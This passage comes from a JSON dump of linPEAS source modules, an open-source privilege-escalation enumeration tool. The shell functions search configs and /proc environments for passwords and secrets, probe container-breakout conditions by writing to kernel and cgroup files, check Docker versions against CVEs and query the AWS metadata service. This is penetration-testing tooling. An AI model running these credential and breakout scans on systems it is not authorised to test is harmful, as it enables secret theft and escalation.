\"s,$pwd_in_variables8,${SED_RED},g\" | sed -${E} \"s,$pwd_in_variables9,${SED_RED},g\" | sed -${E} \"s,$pwd_in_variables10,${SED_RED},g\" | sed -${E} \"s,$pwd_in_variables11,${SED_RED},g\" &\n    timeout 150 find /var/www $backup_folders_row /tmp /etc /mnt /private -exec grep -HnRiIE \"($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+\" '{}' \\; 2>/dev/null | sed '/^.\\{150\\}./d' | grep -Ev \"^#\" | grep -iv \"linpeas\" | sort | uniq | head -n 70 | sed -${E} \"s,$pwd_in_variables1,${SED_RED},g\" | sed -${E} \"s,$pwd_in_variables2,${SED_RED},g\" | sed -${E} \"s,$pwd_in_variables3,${SED_RED},g\" | sed -${E} \"s,$pwd_in_variables4,${SED_RED},g\" | sed -${E} \"s,$pwd_in_variables5,${SED_RED},g\" | sed -${E} \"s,$pwd_in_variables6,${SED_RED},g\" | sed -${E} \"s,$pwd_in_variables7,${SED_RED},g\" | sed -${E} \"s,$pwd_in_variables8,${SED_RED},g\" | sed -${E} \"s,$pwd_in_variables9,${SED_RED},g\" | sed -${E} \"s,$pwd_in_variables10,${SED_RED},g\" | sed -${E} \"s,$pwd_in_variables11,${SED_RED},g\" &\n  else\n    timeout 150 find $SEARCH_IN_FOLDER -exec grep -HnRiIE \"($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+\" '{}' \\; 2>/dev/null | sed '/^.\\{150\\}./d' | grep -Ev \"^#\" | grep -iv \"linpeas\" | sort | uniq | head -n 70 | sed -${E} \"s,$pwd_in_variables1,${SED_RED},g\" | sed -${E} \"s,$pwd_in_variables2,${SED_RED},g\" | sed -${E} \"s,$pwd_in_variables3,${SED_RED},g\" | sed -${E} \"s,$pwd_in_variables4,${SED_RED},g\" | sed -${E} \"s,$pwd_in_variables5,${SED_RED},g\" | sed -${E} \"s,$pwd_in_variables6,${SED_RED},g\" | sed -${E} \"s,$pwd_in_variables7,${SED_RED},g\" | sed -${E} \"s,$pwd_in_variables8,${SED_RED},g\" | sed -${E} \"s,$pwd_in_variables9,${SED_RED},g\" | sed -${E} \"s,$pwd_in_variables10,${SED_RED},g\" | sed -${E} \"s,$pwd_in_variables11,${SED_RED},g\" &\n  fi\n  wait\n  echo \"\"\n\n  ##-- IF) Find possible conf files with passwords\n  print_2title \"Searching possible password in config files (if k8s secrets are found you need to read the file)\" \"T1552.001\"\n  if ! [ \"$SEARCH_IN_FOLDER\" ]; then\n    ppicf=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ /etc /opt /tmp /private /Applications /mnt -name \"*.conf\" -o -name \"*.cnf\" -o -name \"*.config\" -o -name \"*.json\" -o -name \"*.yml\" -o -name \"*.yaml\" 2>/dev/null)\n  else\n    ppicf=$(timeout 150 find $SEARCH_IN_FOLDER -name \"*.conf\" -o -name \"*.cnf\" -o -name \"*.config\" -o -name \"*.json\" -o -name \"*.yml\" -o -name \"*.yaml\" 2>/dev/null)\n  fi\n  printf \"%s\\n\" \"$ppicf\" | while read f; do\n    if grep -qEiI 'passwd.*|creden.*|^kind:\\W?Secret|\\Wenv:|\\Wsecret:|\\WsecretName:|^kind:\\W?EncryptionConfiguration|\\-\\-encryption\\-provider\\-config' \"$f\" 2>/dev/null; then\n      echo \"$ITALIC $f$NC\"\n      grep -HnEiIo 'passwd.*|creden.*|^kind:\\W?Secret|\\Wenv:|\\Wsecret:|\\WsecretName:|^kind:\\W?EncryptionConfiguration|\\-\\-encryption\\-provider\\-config' \"$f\" 2>/dev/null | sed -${E} \"s,[pP][aA][sS][sS][wW]|[cC][rR][eE][dD][eE][nN],${SED_RED},g\"\n    fi\n  done\n  echo \"\"\nfi\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/9_interesting_files/29_Interesting_environment_variables.sh",
    "content": "# Title: Interesting Files - Interesting Environment Variables\n# ID: IF_Interesting_environment_variables\n# Author: Jack Vaughn\n# Last Update: 25-05-2025\n# Description: Searching possible sensitive environment variables inside of /proc/*/environ\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.007,T1082\n# Functions Used: print_2title\n# Global Variables: $MACPEAS, $NoEnvVars, $EnvVarsRed\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\nif [ -z \"$MACPEAS\" ]; then\n  print_2title \"Checking all env variables in /proc/*/environ removing duplicates and filtering out useless env vars\" \"T1552.007,T1082\"\n  cat /proc/[0-9]*/environ 2>/dev/null | \\\n  tr '\\0' '\\n' | \\\n  grep -Eiv \"$NoEnvVars\" | \\\n  sort -u | \\\n  sed -${E} \"s,$EnvVarsRed,${SED_RED},g\"\nfi\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/9_interesting_files/2_Date_in_firmware.sh",
    "content": "# Title: Interesting Files - Date times inside firmware\n# ID: IF_Date_in_firmware\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Date times inside firmware\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1082\n# Functions Used: print_2title\n# Global Variables: $SEARCH_IN_FOLDER\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif [ \"$SEARCH_IN_FOLDER\" ]; then\n  print_2title \"Files datetimes inside the firmware (limit 50)\" \"T1082\"\n  find \"$SEARCH_IN_FOLDER\" -type f -printf \"%T+\\n\" 2>/dev/null | sort | uniq -c | sort | head -n 50\n  echo \"To find a file with an specific date execute: find \\\"$SEARCH_IN_FOLDER\\\" -type f -printf \\\"%T+ %p\\n\\\" 2>/dev/null | grep \\\"<date>\\\"\"\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/9_interesting_files/3_Executable_files_by_user.sh",
    "content": "# Title: Interesting Files - Executable files potentially added by user\n# ID: IF_Executable_files_by_user\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Executable files potentially added by user\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1083\n# Functions Used: print_2title\n# Global Variables: $SEARCH_IN_FOLDER \n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nprint_2title \"Executable files potentially added by user (limit 70)\" \"T1083\"\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  find / -type f -executable -printf \"%T+ %p\\n\" 2>/dev/null | grep -Ev \"000|/site-packages|/python|/node_modules|\\.sample|/gems|/cgroup/\" | sort -r | head -n 70\nelse\n  find \"$SEARCH_IN_FOLDER\" -type f -executable -printf \"%T+ %p\\n\" 2>/dev/null | grep -Ev \"/site-packages|/python|/node_modules|\\.sample|/gems|/cgroup/\" | sort -r | head -n 70\nfi\necho \"\"\n\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/9_interesting_files/4_Macos_unsigned_apps.sh",
    "content": "# Title: Interesting Files - Macos Unsigned Applications\n# ID: IF_Macos_unsigned_apps\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Get the macOS unsigned applications\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1204.002\n# Functions Used: macosNotSigned, print_2title\n# Global Variables: $MACPEAS \n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif [ \"$MACPEAS\" ]; then\n  print_2title \"Unsigned Applications\" \"T1204.002\"\n  macosNotSigned /System/Applications\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/9_interesting_files/5_Unexpected_in_opt.sh",
    "content": "# Title: Interesting Files - Unexpected in /opt\n# ID: IF_Unexpected_in_opt\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Unexpected in /opt\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1083\n# Functions Used: print_2title\n# Global Variables: $SEARCH_IN_FOLDER\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 0\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  if [ \"$(ls /opt 2>/dev/null)\" ]; then\n    print_2title \"Unexpected in /opt (usually empty)\" \"T1083\"\n    ls -la /opt\n    echo \"\"\n  fi\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/9_interesting_files/6_Unexpected_in_root.sh",
    "content": "# Title: Interesting Files - Unexpected folders in /\n# ID: IF_Unexpected_in_root\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Unexpected folders in /\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1083\n# Functions Used: echo_not_found, print_2title\n# Global Variables: $commonrootdirsG, $commonrootdirsMacG, $MACPEAS, $ROOT_FOLDER, $SEARCH_IN_FOLDER\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  print_2title \"Unexpected in root\" \"T1083\"\n  if [ \"$MACPEAS\" ]; then\n    (find $ROOT_FOLDER -maxdepth 1 | grep -Ev \"$commonrootdirsMacG\" | sed -${E} \"s,.*,${SED_RED},\") || echo_not_found\n  else\n    (find $ROOT_FOLDER -maxdepth 1 | grep -Ev \"$commonrootdirsG\" | sed -${E} \"s,.*,${SED_RED},\") || echo_not_found\n  fi\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/9_interesting_files/7_Modified_last_5mins.sh",
    "content": "# Title: Interesting Files - Files modified last 5 mins\n# ID: IF_Modified_last_5mins\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Modified interesting files into specific folders in the last 5mins\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1083\n# Functions Used: print_2title\n# Global Variables:$ROOT_FOLDER, $Wfolders \n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nprint_2title \"Modified interesting files in the last 5mins (limit 100)\" \"T1083\"\nfind $ROOT_FOLDER -type f -mmin -5 ! -path \"/proc/*\" ! -path \"/sys/*\" ! -path \"/run/*\" ! -path \"/dev/*\" ! -path \"/var/lib/*\" ! -path \"/private/var/*\" 2>/dev/null | grep -v \"/linpeas\" | head -n 100 | sed -${E} \"s,$Wfolders,${SED_RED},\"\necho \"\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/9_interesting_files/8_Writable_log_files.sh",
    "content": "# Title: Interesting Files - Writable log files\n# ID: IF_Writable_log_files\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Writable log files\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1070.002\n# Functions Used: echo_not_found, print_2title, print_info\n# Global Variables: $IAMROOT, $ROOT_FOLDER, $Wfolders\n# Initial Functions:\n# Generated Global Variables: $lastWlogFolder, $logfind, $log\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif command -v logrotate >/dev/null && logrotate --version | head -n 1 | grep -Eq \"[012]\\.[0-9]+\\.|3\\.[0-9]\\.|3\\.1[0-7]\\.|3\\.18\\.0\"; then #3.18.0 and below\nprint_2title \"Writable log files (logrotten) (limit 50)\" \"T1070.002\"\n  print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#logrotate-exploitation\"\n  logrotate --version 2>/dev/null || echo_not_found \"logrotate\"\n  lastWlogFolder=\"ImPOsSiBleeElastWlogFolder\"\n  logfind=$(find $ROOT_FOLDER -type f -name \"*.log\" -o -name \"*.log.*\" 2>/dev/null | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=\"\"; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 3){ print line_init; }; if (cont == \"3\"){print \"#)You_can_write_more_log_files_inside_last_directory\"}; pre=act}' | head -n 50)\n  printf \"%s\\n\" \"$logfind\" | while read log; do\n    if ! [ \"$IAMROOT\" ] && [ \"$log\" ] && [ -w \"$log\" ] || ! [ \"$IAMROOT\" ] && echo \"$log\" | grep -qE \"$Wfolders\"; then #Only print info if something interesting found\n      if echo \"$log\" | grep -q \"You_can_write_more_log_files_inside_last_directory\"; then printf $ITALIC\"$log\\n\"$NC;\n      elif ! [ \"$IAMROOT\" ] && [ -w \"$log\" ] && [ \"$(command -v logrotate 2>/dev/null)\" ] && logrotate --version 2>&1 | grep -qE ' 1| 2| 3.1'; then printf \"Writable:$RED $log\\n\"$NC; #Check vuln version of logrotate is used and print red in that case\n      elif ! [ \"$IAMROOT\" ] && [ -w \"$log\" ]; then echo \"Writable: $log\";\n      elif ! [ \"$IAMROOT\" ] && echo \"$log\" | grep -qE \"$Wfolders\" && [ \"$log\" ] && [ ! \"$lastWlogFolder\" == \"$log\" ]; then lastWlogFolder=\"$log\"; echo \"Writable folder: $log\" | sed -${E} \"s,$Wfolders,${SED_RED},g\";\n      fi\n    fi\n  done\nfi\n\n# Check syslog configuration\nprint_2title \"Syslog configuration (limit 50)\" \"T1070.002\"\nif [ -f \"/etc/rsyslog.conf\" ]; then\n    grep -v \"^#\" /etc/rsyslog.conf 2>/dev/null | sed -${E} \"s,.*,${SED_RED},g\" | head -n 50\nelif [ -f \"/etc/syslog.conf\" ]; then\n    grep -v \"^#\" /etc/syslog.conf 2>/dev/null | sed -${E} \"s,.*,${SED_RED},g\" | head -n 50\nelse\n    echo_not_found \"syslog configuration\"\nfi\n\n\n# Check auditd configuration\nprint_2title \"Auditd configuration (limit 50)\" \"T1070.002\"\nif [ -f \"/etc/audit/auditd.conf\" ]; then\n    grep -v \"^#\" /etc/audit/auditd.conf 2>/dev/null | sed -${E} \"s,.*,${SED_RED},g\" | head -n 50\nelse\n    echo_not_found \"auditd configuration\"\nfi\n\n# Check for log files with weak permissions\nprint_2title \"Log files with potentially weak perms (limit 50)\" \"T1070.002\"\nfind /var/log -type f -ls 2>/dev/null | grep -Ev \"root\\s+root|root\\s+systemd-journal|root\\s+syslog|root\\s+utmp\" | sed -${E} \"s,.*,${SED_RED},g\" | head -n 50\n\n\necho \"\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/9_interesting_files/9_My_home.sh",
    "content": "# Title: Interesting Files - Files inside HOME\n# ID: IF_My_home\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Files inside HOME\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1083\n# Functions Used: echo_not_found, print_2title\n# Global Variables: $HOME, $SEARCH_IN_FOLDER\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  print_2title \"Files inside $HOME (limit 20)\" \"T1083\"\n  (ls -la $HOME 2>/dev/null | head -n 23) || echo_not_found\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/checkContainerExploits.sh",
    "content": "# Title: Container - checkContainerExploits\n# ID: checkContainerExploits\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check if the container is vulnerable to CVE-2019-5021\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: echo_no\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $VULN_CVE_2019_5021, $alpineVersion\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ncheckContainerExploits() {\n  VULN_CVE_2019_5021=\"$(echo_no)\"\n  if [ -f \"/etc/alpine-release\" ]; then\n    alpineVersion=$(cat /etc/alpine-release)\n    if [ \"$(echo $alpineVersion | sed 's,\\.,,g')\" -ge \"330\" ] && [ \"$(echo $alpineVersion | sed 's,\\.,,g')\" -le \"360\" ]; then\n      VULN_CVE_2019_5021=\"Yes\"\n    fi\n  fi\n}\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/checkCreateReleaseAgent.sh",
    "content": "# Title: Container - checkCreateReleaseAgent\n# ID: checkCreateReleaseAgent\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check if the container is vulnerable to release agent breakout\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $release_agent_breakout3\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ncheckCreateReleaseAgent(){\n  cat /proc/$$/cgroup 2>/dev/null | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$' | while read -r ss\n  do\n      if unshare -UrmC --propagation=unchanged bash -c \"mount -t cgroup -o $ss cgroup /tmp/cgroup_3628d4 2>&1 >/dev/null && test -w /tmp/cgroup_3628d4/release_agent\" >/dev/null 2>&1 ; then\n          release_agent_breakout3=\"Yes (unshare with $ss)\";\n          rm -rf /tmp/cgroup_3628d4\n          break\n      fi\n  done\n}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/checkDockerRootless.sh",
    "content": "# Title: Container - checkDockerRootless\n# ID: checkDockerRootless\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check if the container is running in rootless mode\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables: $TIP_DOCKER_ROOTLESS\n# Initial Functions:\n# Generated Global Variables: $DOCKER_ROOTLESS\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ncheckDockerRootless() {\n  DOCKER_ROOTLESS=\"No\"\n  if docker info 2>/dev/null|grep -q rootless; then\n    DOCKER_ROOTLESS=\"Yes ($TIP_DOCKER_ROOTLESS)\"\n  fi\n}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/checkDockerVersionExploits.sh",
    "content": "# Title: Container - checkDockerVersionExploits\n# ID: checkDockerVersionExploits\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check if the container is vulnerable to CVE-2019-13139 and CVE-2019-5736\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: echo_no, echo_not_found\n# Global Variables: $dockerVersion\n# Initial Functions:\n# Generated Global Variables: $VULN_CVE_2019_13139, $VULN_CVE_2019_5736, $VULN_CVE_2021_41091\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ncheckDockerVersionExploits() {\n  if echo \"$dockerVersion\" | grep -iq \"not found\"; then\n    VULN_CVE_2019_13139=\"$(echo_not_found)\"\n    VULN_CVE_2019_5736=\"$(echo_not_found)\"\n    VULN_CVE_2021_41091=\"$(echo_not_found)\"\n    return\n  fi\n\n  VULN_CVE_2019_13139=\"$(echo_no)\"\n  if [ \"$(echo $dockerVersion | sed 's,\\.,,g')\" -lt \"1895\" ]; then\n    VULN_CVE_2019_13139=\"Yes\"\n  fi\n\n  VULN_CVE_2019_5736=\"$(echo_no)\"\n  if [ \"$(echo $dockerVersion | sed 's,\\.,,g')\" -lt \"1893\" ]; then\n    VULN_CVE_2019_5736=\"Yes\"\n  fi\n\n  VULN_CVE_2021_41091=\"$(echo_no)\"\n  if [ \"$(echo $dockerVersion | sed 's,\\.,,g')\" -lt \"20109\" ]; then\n    VULN_CVE_2021_41091=\"Yes\"\n  fi\n}\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/checkProcSysBreakouts.sh",
    "content": "# Title: Container - checkProcSysBreakouts\n# ID: checkProcSysBreakouts\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check if the container is vulnerable to several breakouts abusing /sys and /proc folders\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: checkCreateReleaseAgent\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $dev_mounted, $proc_mounted, $run_unshare, $release_agent_breakout1, $release_agent_breakout2, $core_pattern_breakout, $modprobe_present, $panic_on_oom_dos, $panic_on_oom, $panic_on, $panic_sys_fs_dos, $binfmt_misc_breakout, $proc_configgz_readable, $sysreq_trigger_dos, $kmsg_readable, $kallsyms_readable, $self_mem_readable, $mem_readable, $kmem_readable, $kmem_writable, $mem_writable, $sched_debug_readable, $mountinfo_readable, $uevent_helper_breakout, $vmcoreinfo_readable, $security_present, $security_writable, $efi_vars_writable, $efi_efivars_writable, $kcore_readable\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ncheckProcSysBreakouts(){\n  dev_mounted=\"No\"\n  if [ $(ls -l /dev | grep -E \"^c\" | wc -l) -gt 50 ]; then\n    dev_mounted=\"Yes\";\n  fi\n\n  proc_mounted=\"No\"\n  if [ $(ls /proc | grep -E \"^[0-9]\" | wc -l) -gt 50 ]; then\n    proc_mounted=\"Yes\";\n  fi\n\n  run_unshare=$(unshare -UrmC bash -c 'echo -n Yes' 2>/dev/null)\n  if ! [ \"$run_unshare\" = \"Yes\" ]; then\n    run_unshare=\"No\"\n  fi\n\n  if [ \"$(ls -l /sys/fs/cgroup/*/release_agent 2>/dev/null)\" ]; then \n    release_agent_breakout1=\"Yes\"\n  else \n    release_agent_breakout1=\"No\"\n  fi\n  \n  release_agent_breakout2=\"No\"\n  mkdir /tmp/cgroup_3628d4\n  mount -t cgroup -o memory cgroup /tmp/cgroup_3628d4 2>/dev/null\n  if [ $? -eq 0 ]; then \n    release_agent_breakout2=\"Yes\"; \n    rm -rf /tmp/cgroup_3628d4\n  else \n    mount -t cgroup -o rdma cgroup /tmp/cgroup_3628d4 2>/dev/null\n    if [ $? -eq 0 ]; then \n      release_agent_breakout2=\"Yes\"; \n      rm -rf /tmp/cgroup_3628d4\n    else \n      checkCreateReleaseAgent\n    fi\n  fi\n  rm -rf /tmp/cgroup_3628d4 2>/dev/null\n  \n  core_pattern_breakout=\"$( (echo -n '' > /proc/sys/kernel/core_pattern && echo Yes) 2>/dev/null || echo No)\"\n  modprobe_present=\"$(ls -l `cat /proc/sys/kernel/modprobe` 2>/dev/null || echo No)\"\n  panic_on_oom_dos=\"$( (echo -n '' > /proc/sys/vm/panic_on_oom && echo Yes) 2>/dev/null || echo No)\"\n  panic_sys_fs_dos=\"$( (echo -n '' > /proc/sys/fs/suid_dumpable && echo Yes) 2>/dev/null || echo No)\"\n  binfmt_misc_breakout=\"$( (echo -n '' > /proc/sys/fs/binfmt_misc/register && echo Yes) 2>/dev/null || echo No)\"\n  proc_configgz_readable=\"$([ -r '/proc/config.gz' ] 2>/dev/null && echo Yes || echo No)\"\n  sysreq_trigger_dos=\"$( (echo -n '' > /proc/sysrq-trigger && echo Yes) 2>/dev/null || echo No)\"\n  kmsg_readable=\"$( (dmesg > /dev/null 2>&1 && echo Yes) 2>/dev/null || echo No)\"  # Kernel Exploit Dev\n  kallsyms_readable=\"$( (head -n 1 /proc/kallsyms > /dev/null && echo Yes )2>/dev/null || echo No)\" # Kernel Exploit Dev\n  self_mem_readable=\"$( (head -n 1 /proc/self/mem > /dev/null && echo Yes) 2>/dev/null || echo No)\"\n  if [ \"$(head -n 1 /tmp/kcore 2>/dev/null)\" ]; then kcore_readable=\"Yes\"; else kcore_readable=\"No\"; fi\n  kmem_readable=\"$( (head -n 1 /proc/kmem > /dev/null && echo Yes) 2>/dev/null || echo No)\"\n  kmem_writable=\"$( (echo -n '' > /proc/kmem > /dev/null && echo Yes) 2>/dev/null || echo No)\"\n  mem_readable=\"$( (head -n 1 /proc/mem > /dev/null && echo Yes) 2>/dev/null || echo No)\"\n  mem_writable=\"$( (echo -n '' > /proc/mem > /dev/null && echo Yes) 2>/dev/null || echo No)\"\n  sched_debug_readable=\"$( (head -n 1 /proc/sched_debug > /dev/null && echo Yes) 2>/dev/null || echo No)\"\n  mountinfo_readable=\"$( (head -n 1 /proc/*/mountinfo > /dev/null && echo Yes) 2>/dev/null || echo No)\"\n  uevent_helper_breakout=\"$( (echo -n '' > /sys/kernel/uevent_helper && echo Yes) 2>/dev/null || echo No)\"\n  vmcoreinfo_readable=\"$( (head -n 1 /sys/kernel/vmcoreinfo > /dev/null && echo Yes) 2>/dev/null || echo No)\"\n  security_present=\"$( (ls -l /sys/kernel/security > /dev/null && echo Yes) 2>/dev/null || echo No)\"\n  security_writable=\"$( (echo -n '' > /sys/kernel/security/a && echo Yes) 2>/dev/null || echo No)\"\n  efi_vars_writable=\"$( (echo -n '' > /sys/firmware/efi/vars && echo Yes) 2>/dev/null || echo No)\"\n  efi_efivars_writable=\"$( (echo -n '' > /sys/firmware/efi/efivars && echo Yes) 2>/dev/null || echo No)\"\n}\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/check_aliyun_ecs.sh",
    "content": "# Title: Cloud - check_aliyun_ecs\n# ID: check_aliyun_ecs\n# Author: Carlos Polop\n# Last Update: 24-01-2024\n# Description: Check if the script is running in Alibaba\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $is_aliyun_ecs\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ncheck_aliyun_ecs(){\n  is_aliyun_ecs=\"No\"\n  if [ -f \"/etc/cloud/cloud.cfg.d/aliyun_cloud.cfg\" ]; then \n    is_aliyun_ecs=\"Yes\"\n  fi\n}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/check_aws_codebuild.sh",
    "content": "# Title: Cloud - check_aws_codebuild\n# ID: check_aws_codebuild\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check if the script is running in AWS CodeBuild\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $is_aws_codebuild\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ncheck_aws_codebuild(){\n  is_aws_codebuild=\"No\"\n\n  if [ -f \"/codebuild/output/tmp/env.sh\" ] && grep -q \"AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" \"/codebuild/output/tmp/env.sh\" ; then\n    is_aws_codebuild=\"Yes\"\n  fi\n}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/check_aws_ec2.sh",
    "content": "# Title: Cloud - check_aws_ec2\n# ID: check_aws_ec2\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check if the script is running in AWS EC2\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables: \n# Initial Functions:\n# Generated Global Variables: $is_aws_ec2, $is_aws_ec2_beanstalk, $EC2_TOKEN\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ncheck_aws_ec2(){\n  is_aws_ec2=\"No\"\n  is_aws_ec2_beanstalk=\"No\"\n\n  if [ -d \"/var/log/amazon/\" ]; then\n    is_aws_ec2=\"Yes\"\n    EC2_TOKEN=$(curl --connect-timeout 2 -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT \"http://169.254.169.254/latest/api/token\" --header \"X-aws-ec2-metadata-token-ttl-seconds: 21600\" 2>/dev/null)\n\n  else\n    EC2_TOKEN=$(curl --connect-timeout 2 -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT \"http://169.254.169.254/latest/api/token\" --header \"X-aws-ec2-metadata-token-ttl-seconds: 21600\" 2>/dev/null)\n    if [ \"$(echo $EC2_TOKEN | cut -c1-2)\" = \"AQ\" ]; then\n      is_aws_ec2=\"Yes\"\n    fi\n  fi\n  \n  if [ \"$is_aws_ec2\" = \"Yes\" ] && grep -iq \"Beanstalk\" \"/etc/motd\"; then\n    is_aws_ec2_beanstalk=\"Yes\"\n  fi\n}\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/check_aws_ecs.sh",
    "content": "# Title: Cloud - check_aws_ecs\n# ID: check_aws_ecs\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check if the script is running in AWS ECS\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $is_aws_ecs, $aws_ecs_metadata_uri, $aws_ecs_service_account_uri\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ncheck_aws_ecs(){\n  is_aws_ecs=\"No\"\n  if (env | grep -q ECS_CONTAINER_METADATA_URI_v4); then\n    is_aws_ecs=\"Yes\";\n    aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI_v4;\n    aws_ecs_service_account_uri=\"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"\n  \n  elif (env | grep -q ECS_CONTAINER_METADATA_URI); then\n    is_aws_ecs=\"Yes\";\n    aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI;\n    aws_ecs_service_account_uri=\"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"\n  \n  elif (env | grep -q AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); then\n    is_aws_ecs=\"Yes\";\n  fi\n  \n  if [ \"$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" ]; then\n    aws_ecs_service_account_uri=\"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"\n  fi\n}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/check_aws_lambda.sh",
